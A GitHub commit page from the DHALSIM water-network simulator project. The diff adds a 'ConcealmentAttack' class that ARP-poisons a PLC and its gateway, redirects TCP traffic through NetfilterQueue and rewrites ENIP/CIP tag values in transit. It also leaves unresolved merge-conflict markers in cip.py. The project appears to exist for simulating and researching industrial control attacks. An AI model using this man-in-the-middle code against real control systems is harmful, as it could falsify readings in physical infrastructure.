Skip to content

Commit a1a0072

Browse files
authored
Merge pull request #19 from afmurillo/dev
Merging major changes into Dev
2 parents 80e2e26 + 1427f52 commit a1a0072

26 files changed

+531
-163
lines changed

dhalsim/epynet/network.py

Lines changed: 0 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -101,22 +101,11 @@ def __run(self):
101101
curr_time = 0
102102
timestep = 1
103103

104-
#progress_bar = tqdm(total=self.ep.ENgettimeparam(0))
105-
# timestep becomes 0 the last hydraulic step
106104
while timestep > 0:
107105
timestep, state = self.simulate_step(curr_time=curr_time, actuators_status=actuators_update_dict)
108106
curr_time += timestep
109-
110-
# in DHALSIM here there should be:
111-
# update_state(state)
112-
113-
# TODO: remember to comment in DHALSIM
114-
# if timestep != 0 and self.interactive:
115-
# self.update_actuators_status()
116107
sleep(0.01)
117-
#progress_bar.update(timestep)
118108

119-
#progress_bar.close()
120109
self.ep.ENcloseH()
121110
self.solved = True
122111
self.create_df_reports()
@@ -138,9 +127,6 @@ def simulate_step(self, curr_time, actuators_status=None):
138127
:param curr_time: current simulation time
139128
:return: time until the next event, if 0 the simulation is going to end
140129
"""
141-
142-
# update the status of actuators after the first step
143-
# TODO: DHALSIM works with the status update here
144130
if actuators_status and self.interactive:
145131
self.update_actuators_status(actuators_status)
146132

Lines changed: 248 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,248 @@
1+
import argparse
2+
import os
3+
import time
4+
import traceback
5+
from pathlib import Path
6+
import threading
7+
8+
from dhalsim.network_attacks.enip_cip_parser import cip
9+
10+
from netfilterqueue import NetfilterQueue
11+
from scapy.layers.inet import IP, TCP
12+
from scapy.packet import Raw
13+
14+
from dhalsim.network_attacks.utilities import launch_arp_poison, restore_arp, \
15+
translate_payload_to_float, translate_float_to_payload, get_mac, spoof_arp_cache
16+
from dhalsim.network_attacks.synced_attack import SyncedAttack
17+
18+
nfqueue = NetfilterQueue()
19+
20+
21+
import _thread
22+
23+
class Error(Exception):
24+
"""Base class for exceptions in this module."""
25+
26+
27+
class DirectionError(Error):
28+
"""Raised when the optional parameter direction does not have source or destination as value"""
29+
30+
class ConcealmentAttack(SyncedAttack):
31+
"""
32+
This is a Naive Man In The Middle attack. This attack will modify
33+
the data that is passed around in tcp packets on the network, in order to
34+
change the values of tags before they reach the requesting PLC.
35+
36+
It does this by capturing the responses of the the target plc, and changing
37+
some bytes in the TCP packet so that the value is a different value.
38+
39+
When preforming this attack, you can use either an offset, or an absolute value.
40+
41+
When using this type of attack, all the responses of the PLC are modified.
42+
You cannot modify the values of individual tags.
43+
44+
:param intermediate_yaml_path: The path to the intermediate YAML file
45+
:param yaml_index: The index of the attack in the intermediate YAML
46+
"""
47+
48+
ARP_POISON_PERIOD = 15
49+
"""Period in seconds of arp poison"""
50+
51+
52+
def __init__(self, intermediate_yaml_path: Path, yaml_index: int):
53+
super().__init__(intermediate_yaml_path, yaml_index)
54+
os.system('sysctl net.ipv4.ip_forward=1')
55+
self.queue = None
56+
self.q = None
57+
self.thread = None
58+
self.run_thread = False
59+
self.attacked_tag = self.intermediate_attack['tag']
60+
61+
# The session id is used to pair CIP requests (with the tag name), with their responses (with the tag value)
62+
self.session_id = 0
63+
64+
def setup(self):
65+
"""
66+
This function start the network attack.
67+
68+
It first sets up the iptables on the attacker node to capture the tcp packets coming from
69+
the target PLC. It also drops the icmp packets, to avoid network packets skipping the
70+
attacker node.
71+
72+
Afterwards it launches the ARP poison, which basically tells the network that the attacker
73+
is the PLC, and it tells the PLC that the attacker is the router.
74+
75+
Finally, it launches the thread that will examine all captured packets.
76+
"""
77+
#os.system(f'iptables -t mangle -A FORWARD -p tcp -d {self.target_plc_ip} -j NFQUEUE --queue-num 1')
78+
os.system(f'iptables -t mangle -A FORWARD -p tcp -j NFQUEUE --queue-num 1')
79+
80+
81+
os.system('iptables -A FORWARD -p icmp -j DROP')
82+
os.system('iptables -A INPUT -p icmp -j DROP')
83+
os.system('iptables -A OUTPUT -p icmp -j DROP')
84+
85+
self.logger.info(f"NFqueue Bound periodic ARP Poison between {self.target_plc_ip} and "
86+
f"{self.intermediate_attack['gateway_ip']}")
87+
# Launch the ARP poison by sending the required ARP network packets
88+
self.launch_mitm(get_macs=True)
89+
self.logger.info(f"Configured ARP Poison between {self.target_plc_ip} and "
90+
f"{self.intermediate_attack['gateway_ip']}")
91+
92+
self.logger.debug('Tag being attacked: ' + str(self.attacked_tag))
93+
94+
nfqueue.bind(0, self.capture)
95+
nfqueue.run(block=False)
96+
97+
# Refresh ARP poison
98+
#_thread.start_new_thread(self.refresh_poison, (self.ARP_POISON_PERIOD, self.ARP_POISON_PERIOD))
99+
100+
def refresh_poison(self, period, delay):
101+
time.sleep(delay)
102+
while self.run_thread:
103+
self.launch_mitm(get_macs=False)
104+
time.sleep(period)
105+
106+
def launch_mitm(self, get_macs=False):
107+
if self.intermediate_yaml['network_topology_type'] == "simple":
108+
for plc in self.intermediate_yaml['plcs']:
109+
if plc['name'] != self.intermediate_plc['name']:
110+
111+
if get_macs:
112+
self.mac_target_source = get_mac(self.target_plc_ip)
113+
self.mac_target_destination = get_mac(plc['local_ip'])
114+
115+
spoof_arp_cache(self.target_plc_ip, self.mac_target_source, plc['local_ip'])
116+
spoof_arp_cache(plc['local_ip'], self.mac_target_destination, self.target_plc_ip)
117+
118+
else:
119+
if get_macs:
120+
self.mac_target_source = get_mac(self.target_plc_ip)
121+
self.mac_target_destination = get_mac(self.intermediate_attack['gateway_ip'])
122+
123+
spoof_arp_cache(self.target_plc_ip, self.mac_target_source, self.intermediate_attack['gateway_ip'])
124+
spoof_arp_cache(self.intermediate_attack['gateway_ip'], self.mac_target_destination, self.target_plc_ip)
125+
126+
self.logger.info(f"ARP Poison between {self.target_plc_ip} and "
127+
f"{self.intermediate_attack['gateway_ip']}")
128+
129+
def capture(self, packet):
130+
"""
131+
This function is the function that will run in the thread started in the setup function.
132+
133+
For every packet that enters the netfilterqueue, it will check its length. If the length is
134+
in between 100 and 116, we are dealing with a CIP packet. We then change the payload of that
135+
packet and delete the original checksum.
136+
"""
137+
while self.run_thread:
138+
try:
139+
p = IP(packet.payload)
140+
#self.logger.debug('packet')
141+
#self.logger.debug(p.show())
142+
if 'ENIP_SendRRData' in p:
143+
# This type of packet carries the tag name
144+
#self.logger.debug('ENIP_SendRRData')
145+
#self.logger.debug(p.show())
146+
if 'CIP_ReqConnectionManager' in p:
147+
tag_name = p[Raw].load.decode(encoding='latin-1').split(':')[0][8:]
148+
self.logger.debug('ENIP TCP Session ID: ' + str(p['ENIP_TCP'].session))
149+
self.logger.debug('Received tag: ' + tag_name)
150+
151+
if self.attacked_tag == tag_name:
152+
self.logger.debug('Modifying tag: ' + str(tag_name))
153+
self.session_id = p['ENIP_TCP'].session
154+
155+
else:
156+
this_session = p['ENIP_TCP'].session
157+
if self.session_id == this_session:
158+
value = translate_payload_to_float(p[Raw].load)
159+
self.logger.debug('tag value is:' + str(value))
160+
self.logger.debug('Tag ' + self.attacked_tag + ' is going to be modified')
161+
162+
if 'value' in self.intermediate_attack.keys():
163+
p[Raw].load = translate_float_to_payload(
164+
self.intermediate_attack['value'], p[Raw].load)
165+
elif 'offset' in self.intermediate_attack.keys():
166+
self.logger.debug('Offsetting value')
167+
p[Raw].load = translate_float_to_payload(
168+
translate_payload_to_float(p[Raw].load) + self.intermediate_attack[
169+
'offset'], p[Raw].load)
170+
171+
self.logger.debug\
172+
('New payload tag value is: ' + str(translate_payload_to_float(p[Raw].load)))
173+
174+
del p[TCP].chksum
175+
del p[IP].chksum
176+
177+
packet.set_payload(bytes(p))
178+
self.logger.debug(f"Value of network packet for {p[IP].dst} overwritten.")
179+
180+
packet.accept()
181+
except Exception as exc:
182+
print("Exception in a MITM attack!:", exc)
183+
print(traceback.format_exc())
184+
185+
def interrupt(self):
186+
"""
187+
This function will be called when we want to stop the attacker. It calls the teardown
188+
function if the attacker is in state 1 (running)
189+
"""
190+
if self.state == 1:
191+
self.teardown()
192+
193+
def teardown(self):
194+
"""
195+
This function will undo the actions done by the setup function.
196+
197+
It first restores the arp poison, to point to the original router and PLC again. Afterwards
198+
it will delete the iptable rules and stop the thread.
199+
"""
200+
restore_arp(self.target_plc_ip, self.intermediate_attack['gateway_ip'])
201+
if self.intermediate_yaml['network_topology_type'] == "simple":
202+
for plc in self.intermediate_yaml['plcs']:
203+
if plc['name'] != self.intermediate_plc['name']:
204+
restore_arp(self.target_plc_ip, plc['local_ip'])
205+
206+
self.logger.debug(f"Naive MITM Attack ARP Restore between {self.target_plc_ip} and "
207+
f"{self.intermediate_attack['gateway_ip']}")
208+
209+
os.system(
210+
f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1')
211+
212+
os.system('iptables -D FORWARD -p icmp -j DROP')
213+
os.system('iptables -D INPUT -p icmp -j DROP')
214+
os.system('iptables -D OUTPUT -p icmp -j DROP')
215+
216+
self.run_thread = False
217+
time.sleep(0.5)
218+
nfqueue.unbind()
219+
#self.thread.join()
220+
221+
def attack_step(self):
222+
"""This function just passes, as there is no required action in an attack step."""
223+
pass
224+
225+
226+
def is_valid_file(parser_instance, arg):
227+
"""Verifies whether the intermediate yaml path is valid."""
228+
if not os.path.exists(arg):
229+
parser_instance.error(arg + " does not exist")
230+
else:
231+
return arg
232+
233+
234+
if __name__ == "__main__":
235+
parser = argparse.ArgumentParser(description='Start everything for an attack')
236+
parser.add_argument(dest="intermediate_yaml",
237+
help="intermediate yaml file", metavar="FILE",
238+
type=lambda x: is_valid_file(parser, x))
239+
parser.add_argument(dest="index", help="Index of the network attack in intermediate yaml",
240+
type=int,
241+
metavar="N")
242+
243+
args = parser.parse_args()
244+
245+
attack = ConcealmentAttack(
246+
intermediate_yaml_path=Path(args.intermediate_yaml),
247+
yaml_index=args.index)
248+
attack.main_loop()

dhalsim/network_attacks/enip_cip_parser/cip.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -125,8 +125,11 @@ class CIP_ReqGetAttributeList(scapy_all.Packet):
125125

126126
class CIP_ReqReadOtherTag(scapy_all.Packet):
127127
"""Optional information to be sent with a Read_Tag_Service
128+
<<<<<<< HEAD
128129
129130
FIXME: this packet has been built from experiments, not from official doc
131+
=======
132+
>>>>>>> dev-concealment
130133
"""
131134
fields_desc = [
132135
scapy_all.LEShortField("start", 0),
@@ -512,7 +515,6 @@ class CIP_MultipleServicePacket(scapy_all.Packet):
512515
LEShortLenField("count", None, count_of="packets"),
513516
scapy_all.FieldListField("offsets", [], scapy_all.LEShortField("", 0),
514517
count_from=lambda pkt: pkt.count),
515-
# Assume the offsets are increasing, and no padding. FIXME: remove this assumption
516518
_CIPMSPPacketList("packets", [], CIP)
517519
]
518520

@@ -566,7 +568,6 @@ def post_build(self, p, pay):
566568
scapy_all.bind_layers(CIP, CIP_ReqForwardOpen, direction=0, service=0x54)
567569
scapy_all.bind_layers(CIP, CIP_RespForwardOpen, direction=1, service=0x54)
568570

569-
# TODO: this is much imprecise :(
570571
# Need class in path to be 6 (Connection Manager)
571572
scapy_all.bind_layers(CIP, CIP_ReqConnectionManager, direction=0, service=0x52)
572573

0 commit comments

Comments
 (0)